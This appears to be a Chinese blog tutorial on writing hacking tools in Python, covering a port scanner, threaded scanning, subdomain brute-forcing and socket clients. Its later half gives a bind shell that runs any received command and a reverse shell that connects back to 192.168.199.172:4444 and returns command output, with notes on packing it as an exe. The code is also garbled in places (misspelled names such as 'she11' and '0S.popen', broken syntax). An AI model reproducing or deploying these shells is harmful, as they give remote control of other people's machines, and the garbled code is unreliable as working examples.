目录
![](https://img-blog.csdnimg.cn/72dfbf39eca447f7918cb24cfef261b3.png)
基本的函数调用可以参考如下图:
![](https://img-blog.csdnimg.cn/1358644321674dc5a63f74dddd818743.png)
0x01 端口扫描
def port_scan(ip,port):
s=socket.socket()#建立连接
try:
s.connect(('ip',port) )#连接本地135端口
print(str(port)+':open')
except Exception as e :
print(str(port)+':cLose')
finally:
s.cLose() #关闭此次连接
在主函数调用执行
![](https://img-blog.csdnimg.cn/f6350f2822a14280a11678240340b7fd.png)
再尝试用参数模式传入,直接在该脚本下调用cmd窗口即可
![](https://img-blog.csdnimg.cn/f7dd9625cca244f7abd1cba4b66f0a82.png)
0x02 多线程
![](https://img-blog.csdnimg.cn/1e65036ca40747ff9ea8976dcf26f627.png)
紧接着我们添加信息队列,保证线程的正常运行
def port_scan(ip):
while not q.empty():
port=q.get()
s=socket.socket()
try:
s.connect((ip. port))
print(str(port)+' :open')
except Exception as e :
print(str(port)+' :close')
finally:
s.close()
- 主函数
if __name__ =='__main__':
q = queue.Queue()
for port in range(1,65536):
q.put(port)
ip = sys.argv[1]
th_nums = sys.argv[2]
for th_num in range(int(th_nums)):
t = threading.Thread(target=port_scan,args=(ip))
t.start()
0x03 子域名
def domain_ch(url):
for u in open('dic.txt')
urls=(u+url).split('\n','')
try :
ip=socket.gethostbyname(urls)
print(urls+"|"+ip)
except Exception as e:
pass
![](https://img-blog.csdnimg.cn/9423dfcf9008432183896389d78b909f.png)
0x04 客户端建立
ip= input('pLease input connect ip:')
port=input('pLease input connect port:' )
s=socket.socket()
s.connect((ip, int(port)))
while True :
cmdline=input('please input cmdLine:' )
s.send( cmdline.encode())
data=s.recv(1024).decode()
print(data)
s.close()
0x05 服务器建立
import socket, OS
#服务端
#绑定监听端口
#接受发送来的数据
#数据进行命令执行
#结果进行发送过去
s=socket.socket( )
s.bind(('0.0.0.0',9999))
s.listen(5)
while True:
sss,addr=s.accept()
while True:
data=sss.recv(1024).decode()
s=0S.popen(data).read()
sss.send(s.encode())
s.close()
再进行打包为exe,和nc功能类似
![](https://img-blog.csdnimg.cn/17f0259cad9f43f59b728ec914ae9bf3.png)
import socket
#socket库导入
import subprocess
#执行cmd命令并输出的一个功能
import time
def connectHost(ht,pt) :
sock=socket.socket(socket .AF_ INET, socket. SOCK_ STREAM)
#新建一个socket对象,af _inet表示ipv4 stream表示tcp//sock,rawname 手动添加协议名称
#inet6表示ipv6sock_ dgram表 示udp
sock.connect((ht, int(pt)))#satger
#连接里面的括号需要用元组(O来设置IP地址和端口端口号用整数表示
#到这一步连接就完成了
while True:
#死循环:一直保持连接
data=sock.recv(1024)
#设置可以接受的数据量bit单位010101收到的数据赋值给-一个变量data
data=data.decode('utf-8')
#data变量他是byte类型,需要解码才能使用
screenData= subprocess.Popen(data,she11=Truestdout= subprocess.PIPE , stderr= subprocess.STDOUT)#stage
#subprocess最后完成的内容是一个文件对象
#data:我们输入的命令,she11:1. 识别计算机的操作系统|2 ,根据操作系统自动调用命令行
#文件的处理流程:打开文件,编辑文件,关闭文件
while True:
#不知道到底有多少行就直接用while循环来做每一 行的处理
line-screenData.stdout.readlineO
#一行一行地去读取文件内容
m_ stdout=line.decode('gbk')
#解码
print(m_ stdout)
if 1ine==b'':
#如果一行文本什么都没有
screenData.stdout.close()
break
#跳出文件处理的循环但是不是推出链接
sock.send(line.decode('gbk').encode('utf-8'))
#发送数据send和recv都是支支持byte类型
time.sleep(1)
sock.closeO
def main():
host= '192.168.199.172'
#IP地址是字符串
port= '4444'
connectHost(host,port)#连接到控制端
if _name_ =='_ main__ ‘ :
main()